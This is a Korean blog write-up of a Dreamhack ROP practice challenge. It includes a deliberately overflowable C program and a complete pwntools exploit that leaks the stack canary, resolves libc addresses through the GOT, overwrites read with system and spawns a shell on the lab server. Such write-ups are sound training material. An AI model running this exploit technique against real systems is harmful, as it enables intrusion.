Return Oriented Programming
ROP는 리턴 가젯을 사용하여 복잡한 실행 흐름을 구현하는 기법이다. 공격자는 이를 이용해서 문제 상황에 맞춰 return to library, return to dl-resolve, GOT overwrite 등의 페이로드를 구성할 수 있다.
ROP 페이로드는 리턴 가젯으로 구성되는데, ret 단위로 여러 코드가 연쇄적으로 실행되는 모습에서 ROP chain이라고도 불린다.
아래 예제 코드를 스택 카나리, NX을 적용하여 컴파일한 바이너리를, ROP를 이용한 GOT Overwrite으로 익스플로잇하는 실습을 진행해보자.
📌 ROP 실습 예제 코드
// Name: rop.c
// Compile: gcc -o rop rop.c -fno-PIE -no-pie
#include <stdio.h>
#include <unistd.h>
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Leak canary
puts("[1] Leak Canary");
write(1, "Buf: ", 5);
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
// Do ROP
puts("[2] Input ROP payload");
write(1, "Buf: ", 5);
read(0, buf, 0x100);
return 0;
}
분석 및 설계
(1) 보호 기법
checksec을 통해 다음과 같이 적용된 보호 기법을 확인할 수 있다.
실습환경에는 ASLR이 적용되어 있고, 바이너리에는 카나리와 NX가 적용되어 있음을 확인할 수 있다.
(2) 코드 분석
우선 코드의 경우 이전 실습과 달리 system 함수를 호출하지 않아, PLT에 등록되지 않으며, “/bin/sh” 문자열도 데이터 섹션에 기록하지 않고 있다. 따라서 system 함수를 익스플로잇에 사용하려면 함수의 주소를 직접 구해야 하고, “/bin/sh” 문자열을 사용할 다른 방법을 고려할 수 있다.
(3) 익스플로잇 설계
1. 카나리 우회 진행
2. system 함수의 주소 계산
system 함수는 libc.so.6에 정의되어 있으며, 해당 라이브러리에는 이 바이너리가 호출하는 read, puts, printf도 정의되어 있다. 라이브러리 파일은 메모리에 매핑될 때 전체가 매핑되므로, 다른 함수들과 함께 system 함수도 프로세스 메모리에 같이 적재된다.
libc에는 여러 버전이 있는데 같은 libc안에서 두 데이터 사이의 거리(Offset)는 항상 같다. 그러므로 사용하는 libc의 버전을 알 때, libc가 매핑된 영역의 임의 주소를 구할 수 있으면 다른 데이터의 주소를 모두 계산할 수 있다.
libc 파일이 있으면 다음과 같이 readelf 명령어로 함수의 오프셋을 구할 수 있다.
rop.c에서는 read , puts , printf 가 GOT에 등록되어 있으므로, 하나의 함수를 정해서 그 함수의 GOT 값을 읽고, 그 함수의 주소와 system 함수 사이의 거리를 이용해서 system 함수의 주소를 구해낼 수 있을 것으로 보인다.
3. “/bin/sh”
이 바이너리는 데이터 영역에 “/bin/sh” 문자열이 없으므로, 이 문자열을 임의 버퍼에 직접 주입하여 참조하거나, 다른 파일에 포함된 것을 사용해야 한다. 후자의 방법을 선택할 때 많이 사용되는 것이 libc.so.6 에 포함된 “/bin/sh” 문자열이다.
이 문자열의 주소도 system 함수의 주소를 계산할 때처럼 libc 영역의 임의 주소를 구하고, 그 주소로부터 거리를 더하거나 빼서 계산할 수 있다.
4. GOT Overwrite
system 함수와 "/bin/sh" 문자열의 주소를 알고 있으므로, 지난 코스에서처럼 pop rdi; ret 가젯을 활용하여 system(“/bin/sh”)를 호출할 수 있다.
그러나 system 함수의 주소를 알았을 때는 이미 ROP 페이로드가 전송된 이후이므로, 알아낸 system 함수의 주소를 페이로드에 사용하려면 main함수로 돌아가서 다시 버퍼 오버플로우를 일으켜야 한다. 이러한 공격 패턴을 ret2main이라고 부르는데, GOT Overwrite 기법을 통해 셸을 획득해보자.
익스플로잇
위와 같이 분석한 사항을 바탕으로 아래와 같은 익스플로잇 코드를 작성해줄 수 있다.
📌 익스플로잇 코드
from pwn import *
context.log_level = 'debug'
p = remote('host3.dreamhack.games', 22426)
e = ELF('./rop')
libc = ELF('./libc.so.6')
read_got = e.got['read']
read_plt = e.plt['read']
write_plt = e.plt['write']
pop_rdi = 0x400853
pop_rsi_r15 = 0x400851
ret = 0x400854
payload = b'A' * 0x39
p.sendafter(b'Buf: ', payload)
p.recvuntil(payload)
canary = u64(b'\x00' + p.recvn(7))
payload = b'A' * 0x38 + p64(canary) + b'B' * 0x8
# write(1, read_got, ...)
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(write_plt)
# read(0, read_got, ...)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(read_plt)
# read("/bin/sh\x00") -> system("/bin/sh")
payload += p64(pop_rdi) + p64(read_got + 0x8)
payload += p64(ret) + p64(read_plt)
p.sendafter(b'Buf: ', payload)
read = u64(p.recvn(6) + b'\x00' * 2)
lb = read - libc.symbols['read']
system = lb + libc.symbols['system']
p.send(p64(system) + b'/bin/sh\x00')
p.interactive()
참고자료 : https://velog.io/@kkangjane/Dream-Hack-War-game-rop#%EC%B5%9C%EC%A2%85-exploitpy
작성한 익스플로잇 코드를 실행해보면 아래와 같은 화면을 볼 수 있다.
이후 셸까지 문제없이 실행되는 것을 확인할 수 있고 ls와 cat 명령어로 플래그 값 또한 확인할 수 있다.
이렇게 셸을 통해 얻은 플래그 값으로 문제도 해결할 수 있었다!
'Security > System Hacking' 카테고리의 다른 글
basic_exploitation_000 (0) | 2024.10.09 |
---|---|
basic_exploitation_001 (0) | 2024.10.09 |
[Dreamhack] seccomp write-up (0) | 2024.09.23 |
[Dreamhack] __environ write-up (0) | 2024.09.23 |
[Stack Canary] Return to Shellcode (2) | 2024.09.23 |